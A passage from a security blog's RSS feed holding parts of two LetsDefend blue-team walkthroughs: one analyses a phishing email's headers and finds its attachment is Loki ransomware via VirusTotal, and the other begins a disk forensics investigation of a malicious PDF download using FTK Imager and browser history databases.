id=&#34;question-4-what-date-was-the-email-sent-date-format-mmddyyyy&#34;&gt;Question 4: What date was the Email sent? Date format: MM/DD/YYYY&#xA;&lt;/h3&gt;&lt;p&gt;Yep, you guessed it — we&amp;rsquo;re going to focus on the &lt;strong&gt;Date&lt;/strong&gt; field this time. This is a required header in the Simple Mail Transfer Protocol (&lt;em&gt;SMTP&lt;/em&gt;). The only trick here is the date format is different in the email than it is for the question submission.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/7044bf8e49b7891f064f79032c75d631_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/095ae3faff8d16991e26520a4bab5434_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-originating-ip&#34;&gt;Question 5: What is the originating IP?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s check the &lt;strong&gt;Received&lt;/strong&gt; field. This field will list all mail servers that the message has gone through before delivery including their IP addresses. Since there is only one IP address in our sample, we should have the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/061fbbcc1aab9f3820c91cbc2703c6fd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While out of scope for this challenge but useful in the real world, we can check threat intel for the sender IP address against a ton of excellent reputation and intelligence services online. Remember that our challenge scenario told us that the suspicious email was trying to impersonate a company — Threat intel can also help us determine if the originating IP address is related to the company it claims to be.&lt;/p&gt;&#xA;&lt;p&gt;For this example, let&amp;rsquo;s take a look at just a couple of these services — the C&lt;a class=&#34;link&#34; href=&#34;https://talosintelligence.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;isco Talos Intelligence Center&lt;/a&gt;, and the &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/SuperTool.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SuperTool&lt;/a&gt; over on &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MxToolBox&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;250px&#34; data-flex-grow=&#34;104&#34; height=&#34;768&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/280116afef83718a1063149230d670bd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cisco Talos IP Address Lookup&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;375px&#34; data-flex-grow=&#34;156&#34; height=&#34;511&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/2e3d58878db73d36cad766b8858acc8c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MxToolBox Blacklist Check&lt;/p&gt;&#xA;&lt;p&gt;Using these types of services can help our analysis by adding context and intelligence to indicators we find during our investigations!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/6343487f088b2051a16a7a81b23ef537_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-country-is-the-ip-addressfrom&#34;&gt;Question 6: What country is the ip address from?&#xA;&lt;/h3&gt;&lt;p&gt;Since we have the IP address from &lt;strong&gt;Question 5&lt;/strong&gt;, we&amp;rsquo;re going to look for geolocation information about the IP address of the sending infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;There are any number of geolocation services we can use but it&amp;rsquo;s always a good idea to check a couple of different ones as the location data can vary depending on the method the provider uses to determine the geolocation. In the real world you might see some inaccurate geolocation data in your logs so double verifying is a good practice.&lt;/p&gt;&#xA;&lt;p&gt;You may have noticed that we already answered this in the previous question but to highlight more tools, we&amp;rsquo;ll check two more geolocation databases — &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;ipinfo.io&lt;/em&gt;&lt;/a&gt; &amp;amp; &lt;a class=&#34;link&#34; href=&#34;https://whois.domaintools.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;DomainTools WhoIs Lookup&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;405px&#34; data-flex-grow=&#34;168&#34; height=&#34;474&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/22d7febc08df8b98b730cf641681c975_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;IP Information from ipinfo.io&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;152px&#34; data-flex-grow=&#34;63&#34; height=&#34;1233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/f590aa523298fe38ba2754e1080de5c1_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;IP Information from DomainTools WhoIs Lookup&lt;/p&gt;&#xA;&lt;p&gt;Now that we have checked three different services, we can more accurately answer &lt;strong&gt;Question 6&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/b0c56136c6cf2b46103f95d77aa6d2c5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-name-of-the-attachment-when-you-unzip-it-with-extension&#34;&gt;Question 7: What is the name of the attachment when you unzip it? (with extension)&#xA;&lt;/h3&gt;&lt;p&gt;Alright, now we are going to move on from analysis of the &lt;strong&gt;.eml&lt;/strong&gt; file directly and check out the attachment — this is a separate file linked in the challenge.&lt;/p&gt;&#xA;&lt;p&gt;For this question, let&amp;rsquo;s simply unzip the archive file and see what the name of the file contained inside is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3764px&#34; data-flex-grow=&#34;1568&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/536d8c159c1fe136598d25f964ba9ec2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we have an executable file and misspelling of the brand in the file name — that&amp;rsquo;s suspicious&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/03225fd359deb09b57a5d6714715055d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-sha256-hash-of-thefile&#34;&gt;Question 8: What is the sha256 hash of the File?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have extracted an executable file from the &lt;em&gt;.zip&lt;/em&gt; archive we need to grab the file hash. Fortunately, we can do this directly in the terminal! Since we need to get the &lt;em&gt;SHA-256&lt;/em&gt; hash we can use the &lt;code&gt;sha256sum&lt;/code&gt; command to get the right output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/f5dcd5c6030cfb58a0327d49c16152c4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s keep this output handy after we submit it so that we can use it for &lt;strong&gt;Question 9.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/273783472d80348f57f0625f6136baf7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-is-the-email-attachment-malicious-yesno&#34;&gt;Question 9: Is the email attachment malicious? Yes/No&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we made it to the last question! Let&amp;rsquo;s see if we can get any hits on this file from &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; to help us determine if this binary is malicious or not. We&amp;rsquo;ll copy the file hash from &lt;strong&gt;Question 8&lt;/strong&gt; into the search bar and see what we can discover about this &lt;em&gt;indicator of compromise&lt;/em&gt; (IOC):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;680px&#34; data-flex-grow=&#34;283&#34; height=&#34;282&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/f7258bcb5b7f04d037b5b5d03f3fa7c4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal detection of the file hash.&lt;/p&gt;&#xA;&lt;p&gt;There we go! We&amp;rsquo;ve got a high number of detections on &lt;em&gt;VirusTotal,&lt;/em&gt; with the threat labeled as &lt;em&gt;Loki Ransomware.&lt;/em&gt; This gives us high confidence that the file is indeed malicious without having to perform our own analysis on the executable.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check our work and wrap this challenge up!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/430ea63f3f7e2bc5ce91f45dce5d5acc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s walk through and quickly summarize. Our investigation revealed a social engineering attempt with spearphishing attachment (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1566.001&lt;/a&gt;) by impersonating another organization. If we executed the malicious file (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1024&lt;/a&gt;) in the attached &lt;em&gt;.zip&lt;/em&gt; archive, we might have been a victim of the Loki Ransomware! This is just the tip of the iceberg, but this is all the information we need to wrap up this challenge.&lt;/p&gt;&#xA;&lt;p&gt;We set out to determine if the email we received is suspicious and I think we can conclude that is! Great work on the investigation!&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend.io&lt;/strong&gt;&lt;/a&gt; for the challenge. While this was just a brief scenario, it provided us with a practical context to understand how we, as defenders, can quickly do some manual analysis of email headers and attachments to determine if they are malicious or not.&lt;/p&gt;&#xA;&lt;p&gt;I hope that you had as much fun as I did and learned something new, too. Stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cisco Talos:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://talosintelligence.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://talosintelligence.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MX ToolBox Blacklists Check:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/blacklists.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://mxtoolbox.com/blacklists.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DomainTools WhoIs:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://whois.domaintools.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://whois.domaintools.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ipinfo.io:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Techniques:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1566/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1204/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  —  PDFURI Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/</link>
            <pubDate>Sun, 24 Mar 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/ef15ec63b4868451dbd2545071581408_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  —  PDFURI Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--pdfuri-challenge-walkthrough&#34;&gt;LetsDefend — PDFURI Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;forensic-endpoint-investigation-with-ftk-imager-db-browser-pdfstreamdumper-registryexplorer&#34;&gt;Forensic Endpoint Investigation with FTK Imager, DB Browser, PDFStreamDumper, &amp;amp; Registry Explorer&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/ef15ec63b4868451dbd2545071581408_MD5.png&#34; width=&#34;398&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdfuri&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/pdfuri&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello — Thanks for joining me for this weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;This week I am going to tackle the medium difficulty &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdfuri&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PDFURI&lt;/strong&gt;&lt;/a&gt; blue team challenge over on &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;. This challenge uses a hosted virtual machine analysis environment on &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; so that the challenge can be completed in a web browser! The virtual machine also comes with a ton of cool tools pre-installed to help us complete the challenge. It&amp;rsquo;s a fantastic opportunity to try out some new tools and get creative while analyzing a forensic image of a victim&amp;rsquo;s hard drive.&lt;/p&gt;&#xA;&lt;p&gt;As always, this write up will serve as a learning notebook for me and a &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdfuri&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/pdfuri&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our friend &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Dee&amp;quot;&#xA;was looking for a job in Tanta, but it seems she was hacked by one of the malicious websites, so can you examine her hard drive and find some evidence?&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-md5-hash-of-the-malicious-document&#34;&gt;Question 1: What is the MD5 hash of the malicious document?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, let&amp;rsquo;s start this off by launching our Lab Environment and unzipping the challenge file. From the challenge scenario, we know that we are going to be examining the victim&amp;rsquo;s hard drive, right? So, let&amp;rsquo;s check out the &lt;em&gt;Tools&lt;/em&gt; folder on the Desktop and see what our analysis environment has installed for us to use:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;749px&#34; data-flex-grow=&#34;312&#34; height=&#34;251&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/920f02611ab4575645195926264cd7c3_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of our Tools folder&lt;/p&gt;&#xA;&lt;p&gt;It looks like we have &lt;em&gt;FTK Imager&lt;/em&gt; available! If you aren&amp;rsquo;t familiar, &lt;em&gt;FTK imager&lt;/em&gt; is a forensic hard disk imaging tool. In this case, we will use it to mount the victim&amp;rsquo;s disk image (challenge file) so that we can analyze the file system within the forensic image, search for files/folders, and even extract artifacts from the image!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s launch FTK Imager and load the image file by pressing &lt;em&gt;File &amp;gt; Add Evidence Item &amp;gt; Image File &amp;gt; Select the extracted Challenge File (PDFURI.001).&lt;/em&gt; Now that we have mounted the image, we can expand the evidence tree and browse the disk artifacts.&lt;/p&gt;&#xA;&lt;p&gt;Since our scenario says the victim was searching for a job, maybe they downloaded a malicious file during their search? Let&amp;rsquo;s start simple and browse to the user&amp;rsquo;s &lt;em&gt;Downloads&lt;/em&gt; folder within &lt;em&gt;FTK&lt;/em&gt; (&lt;em&gt;PDFURI.001 &amp;gt; NONAME [NTFS] &amp;gt; [root]/Users/Work/Downloads&lt;/em&gt;) and see if we can find the malicious document to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/194b35f960d62f02d630cf85a45345a2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, we found something of interest — a job application (&lt;em&gt;Application.pdf)&lt;/em&gt; in the victim&amp;rsquo;s Downloads folder! Fortunately for us, we can quickly collect the &lt;em&gt;file hash&lt;/em&gt; of this artifact by right-clicking the file and using the &lt;em&gt;Export File Hash&lt;/em&gt; function. This will allow us to export the &lt;em&gt;MD5 &amp;amp; SHA1&lt;/em&gt; hashes to a text file for evidence.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check our export, copy the &lt;em&gt;MD5&lt;/em&gt; hash, and submit the answer to confirm our findings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1586px&#34; data-flex-grow=&#34;661&#34; height=&#34;121&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/af47d6034c522782edab9ef49b83c215_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-domain-from-which-the-document-was-downloaded&#34;&gt;Question 2: What is the domain from which the document was downloaded?&#xA;&lt;/h3&gt;&lt;p&gt;Since we know the victim downloaded the file from a website, let&amp;rsquo;s check if we can locate the download source. A good starting point will be to check if there are any interesting artifacts in the web browser databases. So, our plan is to try to extract the &lt;strong&gt;History database&lt;/strong&gt; file from the disk image and view it with another one of our installed tools, &lt;em&gt;DB Browser&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Before we go further, let&amp;rsquo;s pull back and reference a handy cheat sheet from &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Foxtron Forensics&lt;/a&gt; as a reference to the web browser databases:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  title=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Google Chrome History Location | Chrome History Viewer&lt;/strong&gt;&#xA;_Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner&amp;hellip;_www.foxtonforensics.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This article applies to &lt;em&gt;Google Chrome&lt;/em&gt; but since &lt;em&gt;Microsoft Edge&lt;/em&gt; is Chromium-based (Since 2019), this will apply to either one on the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s head back into &lt;em&gt;FTK Imager&lt;/em&gt; and check which browser the victim used to download the malicious application. Navigate to &lt;em&gt;PDFURI.001 &amp;gt; NONAME [NTFS] &amp;gt; [root]\Users\Work\AppData\Local&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the directory we do not see any reference to Google as we would expect from the cheat sheet, but we do see &lt;em&gt;Microsoft,&lt;/em&gt; so the user probably used &lt;em&gt;Microsoft Edge&lt;/em&gt; as their browser_._ Now, let&amp;rsquo;s navigate to &lt;em&gt;Microsoft\Edge\User Data\Default.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right-Click on the &lt;strong&gt;Default&lt;/strong&gt; folder and select &lt;strong&gt;export files &lt;em&gt;—&lt;/em&gt;&lt;/strong&gt; this will allow us to extract the contents of the entire &lt;strong&gt;Default&lt;/strong&gt; folder including the browser databases so that we can view them.&lt;/p&gt;&#xA;&lt;p&gt;Now, we will load up &lt;em&gt;DB Browser (SQLite)&lt;/em&gt; from our Tools folder. Once it is open, press &lt;em&gt;Open Database&lt;/em&gt; and select the &lt;strong&gt;History&lt;/strong&gt; database. Now we can select the &lt;em&gt;Browse Data&lt;/em&gt; tab and browse the tables within it.&lt;/p&gt;&#xA;&lt;p&gt;Referencing the cheat sheet we understand:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Downloads are stored in the €˜&lt;strong&gt;History&lt;/strong&gt;&amp;rsquo; SQLite database, within the €˜&lt;strong&gt;downloads&lt;/strong&gt;&amp;rsquo; and €˜&lt;strong&gt;downloads_url_chains&lt;/strong&gt;&amp;rsquo; tables.&lt;/p&gt;&#xA;&#xA;    